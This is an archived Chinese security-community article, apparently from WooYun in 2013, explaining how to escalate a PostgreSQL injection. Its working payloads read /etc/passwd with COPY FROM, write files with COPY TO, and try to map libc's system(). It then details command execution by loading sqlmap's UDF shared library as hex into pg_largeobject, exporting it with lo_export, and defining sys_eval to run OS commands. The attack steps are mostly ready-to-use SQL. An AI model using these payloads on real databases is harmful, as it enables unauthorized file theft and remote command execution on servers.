# PostgreSQL的那点事儿

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-07-09T08:52:00Z
Canonical: https://wepostx.com/topics/621

> 乌云历史资料归档
>
> **原始作者：** 疯狗
> **原始编号：** superkieran-wooyundrops:39
> **原始发布时间：** 2013-07-09 16:52
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

今天无意发现了个PostgreSQL环境，线上学习了下，一般的数据注射（读写数据库）差异不大，不做讨论，个人比较关心PostgreSQL的文件读取和命令执行方面。

### 0x00 文件读取/写入

PostgreSQL 8.1 以后提供了一组现成的文件操作函数

```text
pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
```
用这些就可以胡作非为了？你错了。。。
可以用这个函数直接读取/etc/passwd？实际情况下测试并未成功，因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。

#### a）比如列目录

![原文图片](/media/2016/06/2ffa5f7a2a91d63a3f3c1bdc55b16321)

#### b）读取权限允许的文件

![原文图片](/media/2016/06/0281b782934f6f1c381dd23a45d93062)

还有个写文件函数测试并未成功，而且只能像data下写也是满足不了需求的。

#### c）比较可行的文件读取方案

![原文图片](/media/2016/06/8f42bce04d36d3c845c29b38303eeb26)

![原文图片](/media/2016/06/c8476e1539ea237472fbfb4b045d2ddc)

```text
drop table wooyun; CREATE TABLE wooyun(t TEXT); COPY wooyun FROM '/etc/passwd'; SELECT * FROM wooyun limit 1 offset 0;
```
利用注射修改偏移值很快就可以遍历出来了，但是还是有点寒碜，直接读出全部数据

```text
DROP TABLE wooyun; CREATE TABLE wooyun (t TEXT); COPY wooyun(t) FROM '/etc/passwd'; SELECT * FROM wooyun;
```

![原文图片](/media/2016/06/5cf90ddbea105af7d99a67d1f6493658)

#### d）写入文件

```text
DROP TABLE wooyun; CREATE TABLE wooyun (t TEXT); INSERT INTO wooyun(t) VALUES ('hello wooyun'); COPY wooyun(t) TO '/tmp/wooyun';
```

![原文图片](/media/2016/06/de1647a2ed39e4213126fa6f7ac23ac4)

读一下看看是否存在

![原文图片](/media/2016/06/726df5b3e2b608fa265bb73889d0a80b)

Bingo~

### 0x01 命令执行

```text
enter code here
```
这里大概有三种方式

#### a）利用 libc 中的 system() 函数
很多文件会让我们添加一个到libc库的自定义功能函数

```text
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
```
但是返回错误

```text
Error : ERROR: incompatible library "/lib64/libc.so.6": missing magic block HINT: Extension libraries are required to use the PG\_MODULE\_MAGIC macro.
```
这是因为当PostgreSQL加载外部动态库的时候，会检查MAGIC DATA，如果没有这个函数（Pg_magic_func），PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。
这样一来就等同于建立了一个“白名单”，系统自带的库默认我不再允许动态加载，所以此路不通（也许低版本走的通，但我手里这个不行）。
给一个 Pg_magic_func 代码样例：

```text
extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void); const Pg_magic_struct * Pg_magic_func(void) { static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA; return &Pg_magic_data; }
```

#### b）利用Perl/Python脚本语言功能
在zone上看过一帖，http://zone.wooyun.org/content/1591，很纳闷为什么这样定义函数就可以执行系统命令，plperlu又是啥，经过资料的挖掘，发现是PostgreSQL自带的一种程序语言支持。
具体可见这里（[http://www.postgresql.org/docs/8.3/static/xplang.html](http://www.postgresql.org/docs/8.3/static/xplang.html)）。
大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数，但这个很悲剧啊，我的环境没有安装PostgreSQL的Python和Perl支持，待我弄个环境在来实现下过程。

#### c）利用C语言自定义函数
Perl、Python都能在PostgreSQL自定义了更不用说C了。
这个在sqlmap的udf目录下有现成的，而且还是根据版本加了Pg_magic_func函数的，可以加载。。。牛鞭！

```text
FengGou:8.4 $ pwd /Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4 FengGou:8.4 $ ls lib_postgresqludf_sys.so
```
将sqlmap的so文件转为16进制的代码

```text
7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
```
老他么长的一段，怎么还原成二进制的so库文件呢？
这里感谢 @瞌睡龙 提供的Tips，这里用到了PostgreSQL的pg_largeobject“大对象数据”，官方原文：

```text
pg_largeobject 表保存那些标记着"大对象"的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4，或者通常是 2K 字节)。
```
a）查看PostgreSQL目录

```text
SELECT setting FROM pg_settings WHERE name='data_directory';
```
b）查询id

```text
select lo_creat(-1);
```
oid为当前对象大数据的标识符，我们要利用这个存储UDF文件内容。
c）oid与上面保持一致

```text
delete from pg_largeobject where loid=18412;
```
等于变相清空"页面"，不要干扰库的生成
d）把16进制的so文件塞进去

```text
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
```
e）利用PostgreSQL自带函数将大型对象导出到文件

```text
SELECT lo_export(18412, 'cmd.so');
```
f）建立UDF

```text
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
```
g）调用这个UDF

```text
select sys_eval('id');
```

![原文图片](/media/2016/06/90d326316c7e4daf4dc7cd75388a389a)

也许服务器没装PostgreSQL的Perl、Python支持，但是C库是通用的。
参考：
1PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
2OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
3PostGreSQL注入学习(续篇)
http://www.hackol.com/news/201007270731289820885.shtml
4PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
5PostgreSQL 外部动态连接库魔法块的使用
http://my.oschina.net/quanzl/blog/136907
6Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
7postgresql "初级"注入大法
http://zone.wooyun.org/content/1591
[8](http://www.postgresql.org/docs/8.3/static/xplang.html)pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

## Replies
